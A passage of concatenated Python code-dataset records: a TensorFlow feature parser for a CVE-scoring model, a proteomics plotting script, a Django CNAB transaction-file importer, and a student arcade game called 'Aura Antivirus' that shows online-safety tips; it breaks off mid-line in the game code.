"import logging\n\nimport tensorflow as tf\n\nLOGGER = logging.getLogger('cve-score')\n\n\ndef _parse_encoder(params):\n '''Unpacks encoding parameters into at data specifying `tf.Tensor`.\n Returns a triple of the form (<name>, <shape>, <dtype>).\n '''\n if 'vocabulary' in params:\n return (params['key'], [len(params['vocabulary'])], tf.float32)\n if params.get('isLabel', False):\n return (params['key'], [1], tf.int64)\n if params['key'] == 'weight':\n return ('weight', [1], tf.float32)\n\n raise ValueError('invalid encoding params %s' % params)\n\n\ndef get_parser(config):\n '''Converts a config object into protobuf parser.\n\n Arguments:\n config [list] list of dictionaries, each defining an encoder.\n\n Returns a function with the signature `<protobuf> => (<dict>, <tensor>)`.\n The input is a serialized `tf.train.Example` object, and the output\n is a pair of features/label tensors.\n '''\n decoders = {\n name: tf.FixedLenFeature(shape, dtype)\n for (name, shape, dtype) in map(_parse_encoder, config)\n }\n LOGGER.debug('decoders => %s', decoders)\n\n label_keys = [\n item['key'] for item in config if item.get('isLabel', False)\n ]\n if len(label_keys) != 1:\n raise ValueError('missing or multiple labels: %s' % label_keys)\n\n def parser(serialized):\n example = tf.parse_single_example(serialized, decoders)\n label = example.pop(label_keys[0])\n return (example, label)\n\n return parser\n\n\ndef get_feature_columns(config):\n '''Converts a config object into list of `tf.feature_column` objects\n for use with `tf.estiimator` module.\n\n Arguments:\n config [list] list of dictionaries, each defining an encoder.\n '''\n features = [item for item in config if not item.get('isLabel')]\n return [\n tf.feature_column.numeric_column(key, shape, dtype=dtype)\n for (key, shape, dtype) in map(_parse_encoder, features)\n ]\n", "sub_path": "decoding.py", "file_name": "decoding.py", "file_ext": "py", "file_size_in_byte": 1967, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tensorflow.int64", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.parse_single_example", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.feature_column.numeric_column", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.feature_column", "line_number": 61, "usage_type": "attribute"}]} {"seq_id": "520448944", "text": "import numpy as np\nimport itertools\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport pandas as pd\nimport warnings\nimport scipy\nimport glob\nimport os\nimport re\nfrom itertools import islice\nimport pdb\nmatplotlib.rc('font', family='Ubuntu Mono 13')\nwarnings.filterwarnings(\"ignore\")\nsns.set_color_codes(\"dark\")\nsns.set_style(\"whitegrid\")\nsns.set_context(\"talk\")\n\ndef main(directory, fasta):\n proteins, data = unique_and_diff(directory)\n generate_plot(directory, proteins)\n protein_search(proteins, fasta, data)\n\ndef unique_and_diff(directory):\n files = glob.glob(directory)\n data = {}\n proteins = []\n threshold = 0.05\n diff = 0\n for file in files:\n with open(file, 'r') as f:\n all_lines = f.readlines()\n for i, line in enumerate(all_lines):\n if i == 0:\n header = line.replace('\\n','').split('\\t')\n continue\n line = line.replace('\\n','').split('\\t')\n qval = float(line[0])\n pep = float(line[4])\n if qval < threshold:\n protein = line[header.index('protein')]\n protein = protein.split('|')[-1]\n proteins.append(protein)\n diff += 1\n if protein not in data.keys():\n data[protein] = {}\n data[protein] = {'qval': qval, 'pep': pep}\n else:\n if data[protein]['qval'] > qval:\n data[protein]['qval'] = qval\n print(\"DIFF:\", diff)\n print(\"UNIQUE:\", len(list(set(proteins))))\n return list(set(proteins)), data\n\ndef protein_search(diff_proteins, fasta, data):\n with open(fasta, 'r') as f:\n all_proteins = f.read().split('>')\n all_proteins = [i.split('\\n')[0] for i in all_proteins]\n accessions = [i.split(' ')[0] for i in all_proteins]\n all_info = [' '.join(i.split(' ')[1:]) for i in all_proteins]\n with open('proteins.txt', 'w') as f:\n text = f\"Protein & Function & PEP & q-value \\\\\\\\ \\\\midrule\\n\"\n f.write(text)\n with open('proteins.txt', 'a') as f:\n for i, protein in enumerate(accessions):\n protein = protein.split('|')[-1]\n if protein == '':\n continue\n if protein in diff_proteins:\n info = all_info[i].split('OS=')[0]\n info = info.split('(')[0]\n text = f\"{protein} & {info} & {data[protein]['pep']} & {data[protein]['qval']} \\\\\\\\ [0.5ex]\\n\"\n f.write(text)\n\ndef generate_plot(directory, proteins):\n files = glob.glob(directory)\n data = {}\n for file in files:\n with open(file, 'r') as f:\n all_lines = f.readlines()\n for i, line in enumerate(all_lines):\n line = line.replace('\\n','').split('\\t')\n protein = line[2]\n if i == 0:\n header = line\n start_index = [i for i, h in enumerate(header) if \"diff_exp_prob\" in h][0] + 1\n end_index = line.index('peptides')\n groups = []\n slices = []\n slice = 0\n prev_label = \"\"\n for i, run in enumerate(header[start_index:end_index]):\n label = run.split(':')[1]\n groups.append(label)\n if prev_label == label or prev_label == \"\":\n slice += 1\n else:\n slices.append(slice)\n slice = 1\n prev_label = label\n slices.append(slice)\n groups = sorted(list(set(groups)))\n continue\n if protein in proteins:\n abundances = line[start_index:end_index]\n abundances = [float(i) for i in abundances]\n it = iter(abundances)\n sliced = [list(islice(it, 0, i)) for i in slices]\n #summed = [average(l) for l in sliced]\n if protein not in data.keys():\n data[protein] = {}\n data[protein] = sliced\n create_plot(data, groups)\n return data\n\ndef create_plot(data, groups):\n fig, ax = plt.subplots(nrows=2, ncols=1, figsize=(10,10))\n fig.subplots_adjust(hspace=0.3)\n df = pd.DataFrame(data=data)\n for num_prot, protein in enumerate(data.keys()):\n ydata = data[protein]\n if ydata[0] > ydata[2]:\n plt.subplot(2,1,1)\n else:\n plt.subplot(2,1,2)\n\n xinput = []\n yinput = []\n for i, y in enumerate(ydata):\n xinput.extend(groups[i]*len(y))\n yinput.extend(y)\n plotted = sns.lineplot(x=xinput,\n y=yinput,\n label=protein,\n err_style='band')\n plt.ylabel('Relative protein expression of the same protein', fontsize=12)\n plt.legend(fontsize='x-small', title_fontsize='10', loc='upper right')\n fig.savefig('combined.png')\n plt.show()\n\ndef average(l):\n avg = sum(l)/len(l)\n return avg\n\nif __name__ == \"__main__\":\n directory = \"data/FA_QP/*\"\n if 'FA' in directory:\n fasta = \"/media/storage/timothy/MSfiles/fasta/ralstonia/UP000008210_381666_UNIPROT_20190107_CRAP.fasta\"\n if 'cyano' in directory:\n fasta = \"/media/storage/timothy/MSfiles/fasta/synechocystis/Synechocystis_PCC6803_crap_NO_DECOY.fasta\"\n main(directory, fasta)\n", "sub_path": "doc/thesis/results/stats_triqler.py", "file_name": "stats_triqler.py", "file_ext": "py", "file_size_in_byte": 5503, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.rc", "line_number": 14, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 15, "usage_type": "call"}, {"api_name": "seaborn.set_color_codes", "line_number": 16, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 17, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 18, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 26, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 77, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "seaborn.lineplot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}]} {"seq_id": "93015257", "text": "from django.http import HttpResponseRedirect, HttpResponseBadRequest\nfrom django.shortcuts import render\nfrom django.views import View\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nfrom transacao.models import Loja, Movimento\n\nfrom transacao.funcoes_extras import calcula_saldo_total_existente\n\n\nclass TransacaoController(View):\n template_name = 'transacao-create.html'\n\n def get(self, request, *args, **kwargs):\n if 'error_message' in request.session:\n error_message = request.session['error_message']\n del request.session['error_message']\n else:\n error_message = False\n\n if 'success_message' in request.session:\n success_message = request.session['success_message']\n del request.session['success_message']\n else:\n success_message = False\n\n context = {\n 'error_msg': error_message,\n 'success_message': success_message\n }\n return render(request, self.template_name, context)\n\n def post(self, request, *args, **kwargs):\n if request.method == 'POST':\n file_cnab = request.FILES['file_cnab']\n if not isinstance(file_cnab, InMemoryUploadedFile) or not file_cnab.name.endswith(\n '.txt') or file_cnab.content_type != 'text/plain':\n request.session['error_message'] = 'Deve adicionar um ficheiro CNAB válido...'\n return HttpResponseBadRequest('Deve adicionar um ficheiro CNAB válido... <a href=\"/\">clique aqui</a>')\n\n # Movimento.objects.all().delete()\n # Loja.objects.all().delete()\n if self.salvar_dados(self.normaliza_dados(file_cnab)):\n request.session['success_message'] = 'ficheiro carregado e parseado com sucesso...'\n else:\n request.session['error_message'] = 'Deve adicionar um ficheiro CNAB válido...'\n\n return HttpResponseRedirect('/transacao')\n\n def normaliza_dados(self, ficheiro):\n \"\"\" Este metódo normaliza os dados recebidos de um ficheiro CNAB,\n organiza-os em um formato de fácil entendimento e retorna uma lista dessses dados\n \"\"\"\n dados = []\n if isinstance(ficheiro, InMemoryUploadedFile):\n for linha in ficheiro.readlines():\n texto = linha.decode('utf-8')\n dados.append({\n 'tipo': texto[0:1],\n 'data': texto[1:9][0:4] + \"-\" + texto[1:9][4:6] + \"-\" + texto[1:9][6:8],\n 'valor': texto[9:19],\n 'cpf': texto[19:30],\n 'cartao': texto[30:42],\n 'hora': texto[42:48][0:2] + \":\" + texto[42:48][2:4] + \":\" + texto[42:48][4:6],\n 'dono_loja': texto[48:62],\n 'loja': texto[62:81],\n })\n return dados\n\n def salvar_dados(self, dados):\n \"\"\"Este metódo salva os movimentos no banco de dados a quando a importação de um ficheiro CNAB\n dados = {\n 'tipo': '1',\n 'data': '2021-06-19',\n 'valor': 123.45,\n 'cpf': 12394320548,\n 'cartao': '32023***2333',\n 'hora': '12:30:00',\n 'dono_loja': 'exemplo daniel u ac',\n 'loja': 'Exemplo U AC',\n }\n \"\"\"\n for dado in dados:\n loja_id = None\n try:\n loja_id = Loja.objects.get(cpf=dado['cpf'])\n except:\n pass\n if not loja_id:\n loja = Loja()\n loja.representante = dado['dono_loja']\n loja.cpf = dado['cpf']\n loja.nome = dado['loja']\n loja.save()\n loja_id = Loja.objects.get(cpf=dado['cpf'])\n\n try:\n saldo = format((float(dado['valor']) / 100.00), '.2f')\n movimento = Movimento()\n movimento.valor = saldo\n movimento.saldo_actual = format(movimento.calcula_saldo_importado(loja_id.id, saldo, dado['tipo']),\n '.2f')\n movimento.loja_id = loja_id\n movimento.cartao = dado['cartao']\n movimento.tipo = movimento.get_tipo(dado['tipo'])\n movimento.data_transacao = dado['data']\n movimento.hora_transacao = dado['hora']\n movimento.save()\n except ValueError:\n return False\n return True\n\n\n\ndef lista_movimentosCtrl(request):\n \"\"\" permite listar movimento de loja por loja e de todas as lojas\"\"\"\n if 'loja_id' in request.GET and request.GET['loja_id'] != 'ALL':\n movimentos = Movimento.objects.filter(loja_id=request.GET['loja_id'])\n total = calcula_saldo_total_existente(movimentos)\n else:\n movimentos = Movimento.objects.all()\n total = False\n\n context = {\n 'movimentos': movimentos,\n 'lojas': Loja.objects.all(),\n 'total': format(total, '.2f') if total is not False else False,\n \"default_loja_id\": 'All' if not 'loja_id' in request.GET or ('loja_id' in request.GET and request.GET['loja_id'] == 'ALL') else int(request.GET['loja_id'])\n }\n return render(request, \"transacao-lista.html\", context)\n", "sub_path": "transacao/controllers/transacao_ctrl.py", "file_name": "transacao_ctrl.py", "file_ext": "py", "file_size_in_byte": 5339, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.views.View", "line_number": 10, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 35, "usage_type": "argument"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 38, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 47, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 54, "usage_type": "argument"}, {"api_name": "transacao.models.Loja.objects.get", "line_number": 85, "usage_type": "call"}, {"api_name": "transacao.models.Loja.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "transacao.models.Loja", "line_number": 85, "usage_type": "name"}, {"api_name": "transacao.models.Loja", "line_number": 89, "usage_type": "call"}, {"api_name": "transacao.models.Loja.objects.get", "line_number": 94, "usage_type": "call"}, {"api_name": "transacao.models.Loja.objects", "line_number": 94, "usage_type": "attribute"}, {"api_name": "transacao.models.Loja", "line_number": 94, "usage_type": "name"}, {"api_name": "transacao.models.Movimento", "line_number": 98, "usage_type": "call"}, {"api_name": "transacao.models.Movimento.objects.filter", "line_number": 117, "usage_type": "call"}, {"api_name": "transacao.models.Movimento.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "transacao.models.Movimento", "line_number": 117, "usage_type": "name"}, {"api_name": "transacao.funcoes_extras.calcula_saldo_total_existente", "line_number": 118, "usage_type": "call"}, {"api_name": "transacao.models.Movimento.objects.all", "line_number": 120, "usage_type": "call"}, {"api_name": "transacao.models.Movimento.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "transacao.models.Movimento", "line_number": 120, "usage_type": "name"}, {"api_name": "transacao.models.Loja.objects.all", "line_number": 125, "usage_type": "call"}, {"api_name": "transacao.models.Loja.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "transacao.models.Loja", "line_number": 125, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 129, "usage_type": "call"}]} {"seq_id": "331609806", "text": "'''\n------------------------------------------------------------------------------------------------------------------------\nName: CPT GAME2.py\nPurpose: Aura Antivirus game CPT\n\nAuthor: Jason Tai\n\nCreated: 11/06/2019\n------------------------------------------------------------------------------------------------------------------------\n'''\n\nimport arcade\nimport random\n\n# SCREEN DIMENSIONS\nWIDTH = 1080\nHEIGHT = 700\n\n# DISPLAYS\nstart_screen = True\nload_screen = False\nplay_screen = False\nend_screen = False\n\n# PLAYER CONTROLS\nup_pressed = False\ndown_pressed = False\nright_pressed = False\nleft_pressed = False\n\n# DEAD VARIABLE\ndead = False\nspawn_protection = True\nrespawn = False\n\n# PLAYER START POSITION\nplayer_x = WIDTH / 2\nplayer_y = HEIGHT / 2\n\n# AVOID THE VIRUS PARAMETERS (TEST )\nplayer_speed = 1\nvirus_speed_x = 4\nvirus_speed_y = 4\ntrace_virus_speed = 1\n\n# AURA RADIUS\naura_radius = 50\n\n# SCORE TRACKER\nscore = 0\n\n# LOAD SCREEN TIMER FOR TIP CYCLING\nloading_timer = 0\n\n# TRACING VIRUS SPAWN COORDINATES\ntracing_virus_x = 100\ntracing_virus_y = 100\n\n# TITLE DIMENSIONS\ntitle_x = 100\ntitle_y = 600\ntitle_delta_y = 0.2\n\n# VIRUS VARIABLES\nviruses = []\n\n# GAME TIMER\ngame_timer = 0\ngame_length = 20\n\n# LIST OF TIPS THAT CYCLE DURING THE LOAD SCREEN\ntitle_tips = [\"Malware is software that harms your computer\",\n \"Keep your computer up to date with frequent updates\",\n \"Report cyberbullying to adults you trust\",\n \"A Trojan is a virus that \\ndisguises itself as helpful\",\n \"If computer starts lagging with lots of Chrome tabs open, \\nit may be time to upgrade the RAM\",\n \"Avoid downloading software that seems to be \\n'too good to be true'\",\n \"Don't give out your personal information online\"]\n\n# TIP CYCLING\ntip_1 = random.randint(0, len(title_tips) - 1)\ntip_2 = random.randint(0, len(title_tips) - 1)\n\n# TEXTURE LOADING\nstart_background = arcade.load_texture(\"CPT game 2 dir/45e136031edebdabec2032a296bf3184.png\")\nbutton_1 = arcade.load_texture(\"CPT game 2 dir/button1.png\")\nbutton_video = arcade.load_texture(\"CPT game 2 dir/button.png\")\nload_background = arcade.load_texture(\"CPT game 2 dir/49373.jpg\")\ngame_background = arcade.load_texture(\"CPT game 2 dir/1fe9fd735b4c3b198d10236a5fa592f8.png\")\nvirus_image = arcade.load_texture(\"CPT game 2 dir/computer+virus.png\")\ntrace_virus_image = arcade.load_texture(\"CPT game 2 dir/67-675122_virus-clipart-black-and-white-virus-icon-png.png\")\neasy_button = arcade.load_texture(\"CPT game 2 dir/Easy button.png\")\nmedium_button = arcade.load_texture(\"CPT game 2 dir/Medium button.png\")\nhard_button = arcade.load_texture(\"CPT game 2 dir/Hard button.png\")\nplayer_image = arcade.load_texture(\"CPT game 2 dir/i_am_a_square.png\")\n\n# BUTTON CHARACTERISTICS\nexpansion_button_1 = 0\nexpansion_easy_button = 0\nexpansion_medium_button = 0\nexpansion_hard_button = 0\ntransparency_button_1 = 1\ntransparency_easy_button = 1\ntransparency_medium_button = 1\ntransparency_hard_button = 1\n\n# START SCREEN\ndef game_start_screen():\n global title_x, title_y, title_delta_y, loading_timer\n # TITLE MOVEMENT\n arcade.draw_texture_rectangle(475, HEIGHT / 2, 0.7 * start_background.width, 0.7 * start_background.height,\n start_background, 0)\n title_y += title_delta_y\n if title_y >= 610:\n title_delta_y *= -1\n if title_y <= 590:\n title_delta_y *= -1\n\n arcade.draw_text(\"Aura Antivirus\", title_x, title_y, (210, 255, 248), 50, font_name='CONSOLAS')\n arcade.draw_text(\n \"Avoid the Virus, \\nthe aura of antivirus, \\ngives you score \\nAntivirus doesn't \\nprotect you completly \\nso play smart \\njust like being \\nsmart online\",\n 100, 500, (210, 255, 248), 25, font_name='CONSOLAS')\n arcade.draw_text(\"Use W A S D to control\", 100, 150, (210, 255, 248), 15, font_name='CONSOLAS')\n arcade.draw_texture_rectangle(800, 400, 0.8 * button_1.width + expansion_button_1, 0.8 * button_1.height + expansion_button_1,\n button_1, alpha=transparency_button_1)\n\n # BUTTONS\n arcade.draw_texture_rectangle(750, 300, easy_button.width + expansion_easy_button, easy_button.height + expansion_easy_button, easy_button,\n alpha=transparency_easy_button)\n arcade.draw_texture_rectangle(750, 200, medium_button.width + expansion_medium_button, medium_button.height + expansion_medium_button, medium_button,\n alpha=transparency_medium_button)\n arcade.draw_texture_rectangle(750, 100, hard_button.width + expansion_hard_button, hard_button.height + expansion_hard_button, hard_button,\n alpha=transparency_hard_button)\n\n # RESET LOADING TIMER\n loading_timer = 0\n\n# LOAD SCREEN\ndef game_load_screen():\n global load_screen, play_screen, tip_1, aura_radius\n arcade.set_background_color(arcade.color.BLUE)\n arcade.draw_texture_rectangle(WIDTH / 2, HEIGHT / 2, 0.7 * load_background.width, 0.7 * load_background.height,\n load_background, 0)\n arcade.draw_text(\"LOADING\", 100, 550, arcade.color.PINK_LAVENDER, 60, font_name='CONSOLAS')\n\n # LOADING DOT ANIMATION\n if loading_timer >= 1.5:\n arcade.draw_circle_filled(425, 550, 5, arcade.color.PINK_LAVENDER)\n if loading_timer >= 3:\n arcade.draw_circle_filled(450, 550, 5, arcade.color.PINK_LAVENDER)\n if loading_timer >= 4.5:\n arcade.draw_circle_filled(475, 550, 5, arcade.color.PINK_LAVENDER)\n\n arcade.draw_texture_rectangle(100, 100, 0.5 * virus_image.width, 0.5 * virus_image.height, virus_image)\n arcade.draw_text(\"Don't touch this virus\", 150, 100, arcade.color.PINK_LAVENDER, 15, font_name='CONSOLAS')\n arcade.draw_texture_rectangle(500, 100, 0.15 * trace_virus_image.width, 0.15 * trace_virus_image.height,\n trace_virus_image)\n arcade.draw_text(\"Don't touch this one either, \\nthis one chases you\", 550, 100, arcade.color.PINK_LAVENDER, 15,\n font_name='CONSOLAS')\n #arcade.draw_circle_filled(100, 250, 25, arcade.color.BLACK)\n arcade.draw_texture_rectangle(100, 250, 0.3*player_image.width, 0.3*player_image.height, player_image)\n arcade.draw_text(\"This is you\", 150, 250, arcade.color.PINK_LAVENDER, 15, font_name='CONSOLAS')\n\n # AURA INSTRUCTION ANIMATION\n aura_radius += 0.4\n if aura_radius >= 100:\n aura_radius = 50\n arcade.draw_circle_filled(500, 250, aura_radius, (92, 244, 66, 95))\n arcade.draw_text(\"Stay within this Aura to gain points\", 550, 250, arcade.color.PINK_LAVENDER, 15,\n font_name='CONSOLAS')\n if loading_timer <= 4:\n arcade.draw_text(title_tips[tip_1], 100, 425,\n arcade.color.PINK_LAVENDER, 25, font_name='CONSOLAS')\n if loading_timer > 4:\n arcade.draw_text(title_tips[tip_2], 100, 425,\n arcade.color.PINK_LAVENDER, 25, font_name='CONSOLAS')\n\n# GAME SCREEN\ndef game_play_screen():\n arcade.set_background_color(arcade.color.GREEN)\n arcade.draw_texture_rectangle(WIDTH / 2, HEIGHT / 2, 0.7 * game_background.width, 0.7 * game_background.height,\n game_background, 90)\n player()\n virus()\n tracing_virus()\n on_collision()\n arcade.draw_text(\"Score: \" + str(score), 100, 100, arcade.color.WHITE, 20, font_name='CONSOLAS')\n arcade.draw_text(\"Time : \" + str(round((game_length - game_timer), 2)), 800, 600, arcade.color.WHITE, 20,\n font_name='CONSOLAS')\n if spawn_protection:\n arcade.draw_text(\"Spawn Protection is on \\npress 't' to disable\", WIDTH / 2, HEIGHT / 2, arcade.color.GREEN, 20,\n font_name='CONSOLAS')\n\n# OBJECT FOR THE PLAYER\nclass Person:\n def __init__(self, x, y, radius, color):\n self.x = x\n self.y = y\n self.radius = radius\n self.color = color\n\nperson = Person(WIDTH / 2, HEIGHT / 2, 25, arcade.color.BLACK)\n\n# OBJECT FOR THE VIRUS\nclass Virus:\n def __init__(self, x, y, width, height, texture, speed_x, speed_y):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.texture = texture\n self.speed_x = speed_x\n self.speed_y = speed_y\n\n# ADDING VIRUS TO THE LIST\nfor i in range(2):\n viruses.append(\n Virus(random.randint(25, 1080), random.randint(25, 700), virus_image.width, virus_image.height, virus_image,\n virus_speed_x, virus_speed_y))\n\n# VIRUS DRAWING AND AURA DRAWING\ndef virus():\n global viruses, aura_radius\n for i in range(len(viruses)):\n viruses[i].x += viruses[i].speed_x\n viruses[i].y += viruses[i].speed_y\n aura_radius += 0.2\n if aura_radius >= 125:\n aura_radius = 50\n arcade.draw_circle_filled(viruses[i].x, viruses[i].y, aura_radius, (92, 244, 66, 95))\n arcade.draw_texture_rectangle(viruses[i].x, viruses[i].y, 0.5 * viruses[i].width, 0.5 * viruses[i].height,\n viruses[i].texture)\n\n# DRAWING PLAYER\ndef player():\n #arcade.draw_circle_filled(person.x, person.y, person.radius, person.color)\n arcade.draw_texture_rectangle(person.x, person.y, 0.25*player_image.width, 0.25*player_image.height, player_image)\n\n# USELESS\ndef game_end_screen():\n arcade.set_background_color(arcade.color.RED)\n\n# TRACING VIRUS\ndef tracing_virus():\n global person, tracing_virus_x, tracing_virus_y, trace_virus_speed\n\n if tracing_virus_x < person.x:\n tracing_virus_x += trace_virus_speed\n if tracing_virus_x > person.x:\n tracing_virus_x -= trace_virus_speed\n if tracing_virus_y < person.y:\n tracing_virus_y += trace_virus_speed\n if tracing_virus_y > person.y:\n tracing_virus_y -= trace_virus_speed\n\n # arcade.draw_circle_filled(tracing_virus_x, tracing_virus_y, 25, arcade.color.WHITE)\n arcade.draw_texture_rectangle(tracing_virus_x, tracing_virus_y, 0.15 * trace_virus_image.width,\n 0.15 * trace_virus_image.height, trace_virus_image)\n\n# COLLISION\ndef on_collision():\n global person, dead, spawn_protection, score, tracing_virus_x, tracing_virus_y\n if spawn_protection == False:\n for i in range(len(viruses)):\n distance = ((person.x - viruses[i].x) ** 2 + (person.y - viruses[i].y) ** 2) ** 0.5\n if distance <= 60:\n dead = True\n\n for i in range(len(viruses)):\n if viruses[i].x <= 25 or viruses[i].x >= 1105:\n viruses[i].speed_x *= -1\n if viruses[i].y <= 25 or viruses[i].y >= 725:\n viruses[i].speed_y *= -1\n\n distance_trace_virus = ((person.x - tracing_virus_x) ** 2 + (person.y - tracing_virus_y) ** 2) ** 0.5\n if spawn_protection == False:\n if distance_trace_virus < 50:\n dead = True\n\n # WALL COLLISION FOR PERSON\n if person.x < 25:\n person.x = 25\n if person.x > 1055:\n person.x = 1055\n if person.y < 25:\n person.y = 25\n if person.y > 675:\n person.y = 675\n\n if spawn_protection == False:\n if dead is False:\n for i in range(len(viruses)):\n distance = ((person.x - viruses[i].x) ** 2 + (person.y - viruses[i].y) ** 2) ** 0.5\n if distance <= 150:\n score += 2\n\n\ndef on_update(delta_time):\n global play_screen, player_y, player_x, up_pressed, down_pressed, right_pressed, left_pressed, WIDTH, HEIGHT, player_speed\n if play_screen:\n if up_pressed:\n person.y += player_speed\n if down_pressed:\n person.y -= player_speed\n if right_pressed:\n person.x += player_speed\n if left_pressed:\n person.x -= player_speed\n\n global dead, start_screen, load_screen, viruses, spawn_protection, respawn, score, virus_speed_x, virus_speed_y, game_timer, game_length, tracing_virus_x, tracing_virus_y\n if dead:\n if respawn is True:\n viruses = []\n for i in range(2):\n viruses.append(\n Virus(random.randint(25, 1080), random.randint(25, 700), virus_image.width, virus_image.height,\n virus_image, virus_speed_x, virus_speed_y))\n person.x = WIDTH / 2\n person.y = HEIGHT / 2\n tracing_virus_x = 100\n tracing_virus_y = 100\n up_pressed = False\n down_pressed = False\n right_pressed = False\n left_pressed = False\n spawn_protection = True\n dead = False\n respawn = False\n score = 0\n game_timer = 0\n global loading_timer\n if load_screen:\n loading_timer += delta_time\n if loading_timer >= 8:\n load_screen = False\n play_screen = True\n if spawn_protection == False and dead == False:\n game_timer += delta_time\n if game_timer >= game_length:\n dead = True\n\n\ndef on_draw():\n arcade.start_render()\n\n if start_screen:\n # DRAW START HERE\n game_start_screen()\n elif play_screen:\n # DRAW GAME HERE\n game_play_screen()\n elif load_screen:\n game_load_screen()\n elif end_screen:\n game_end_screen()\n\n if dead:\n arcade.draw_text(\"You died, \\nyour score was \" + str(score) + \"\\n press 'f' to reset\", 100, 500,\n (210, 255, 248), 50, font_name='CONSOLAS')\n arcade.draw_text(\"Press 'r' to return to main menu\", 500, 100, (210, 255, 248), 15, font_name='CONSOLAS')\n\n\ndef on_key_press(key, modifiers):\n global start_screen, play_screen, load_screen\n if load_screen:\n if key == arcade.key.E:\n start_screen = False\n load_screen = False\n play_screen = True\n\n if play_screen:\n global up_pressed, down_pressed, right_pressed, left_pressed, player_y, player_x, spawn_protection, score, dead, viruses, respawn, game_timer, tracing_virus_x, tracing_virus_y\n if key == arcade.key.W:\n up_pressed = True\n if key == arcade.key.S:\n down_pressed = True\n if key == arcade.key.D:\n right_pressed = True\n if key == arcade.key.A:\n left_pressed = True\n\n if key == arcade.key.UP:\n up_pressed = True\n if key == arcade.key.DOWN:\n down_pressed = True\n if key == arcade.key.RIGHT:\n right_pressed = True\n if key == arcade.key.LEFT:\n left_pressed = True\n if key == arcade.key.R:\n play_screen = False\n start_screen = True\n person.x = WIDTH / 2\n person.y = HEIGHT / 2\n tracing_virus_x = 100\n tracing_virus_y = 100\n up_pressed = False\n down_pressed = False\n right_pressed = False\n left_pressed = False\n viruses = []\n for i in range(2):\n viruses.append(\n Virus(random.randint(25, 1080), random.randint(25, 700), virus_image.width, virus_image.height,\n virus_image, virus_speed_x, virus_speed_y))\n dead = False\n score = 0\n game_timer = 0\n spawn_protection = True\n if key == arcade.key.T:\n spawn_protection = False\n\n if dead:\n if key == arcade.key.F:\n respawn = True\n\n\ndef on_key_release(key, modifiers):\n if play_screen:\n global up_pressed, down_pressed, left_pressed, right_pressed\n if key == arcade.key.W:\n up_pressed = False\n if key == arcade.key.S:\n down_pressed = False\n if key == arcade.key.D:\n right_pressed = False\n if key == arcade.key.A:\n left_pressed = False\n\n if key == arcade.key.UP:\n up_pressed = False\n if key == arcade.key.DOWN:\n down_pressed = False\n if key == arcade.key.RIGHT:\n right_pressed = False\n if key == arcade.key.LEFT:\n left_pressed = False\n\n# MODE SELECTION\ndef on_mouse_press(x, y, button, modifiers):\n global start_screen, play_screen, button_video, load_screen, easy_button, medium_button, hard_button, easy, medium, hard, mode, virus_speed_y, virus_speed_x, player_speed, trace_virus_speed\n if start_screen:\n if (x > 800 - (button_1.width) / 2 and x < 800 + (button_1.width) / 2 and y > 400 - (\n button_1.height) / 2 and y < 400 + (button_1.height) / 2):\n print(\"click\")\n player_speed = 5\n trace_virus_speed = 2.5\n start_screen = False\n load_screen = True\n\n if (x > 750 - (easy_button.width) / 2 and x < 800 + (easy_button.width) / 2 and y > 300 - (\n easy_button.height) / 2 and y < 300 + (easy_button.height) / 2):\n print(\"yes\")\n player_speed = 9\n trace_virus_speed = 1.2\n start_screen = False\n load_screen = True\n\n if (x > 750 - (medium_button.width) / 2 and x < 800 + (medium_button.width) / 2 and y > 200 - (\n medium_button.height) / 2 and y < 200 + (medium_button.height) / 2):\n player_speed = 7\n trace_virus_speed = 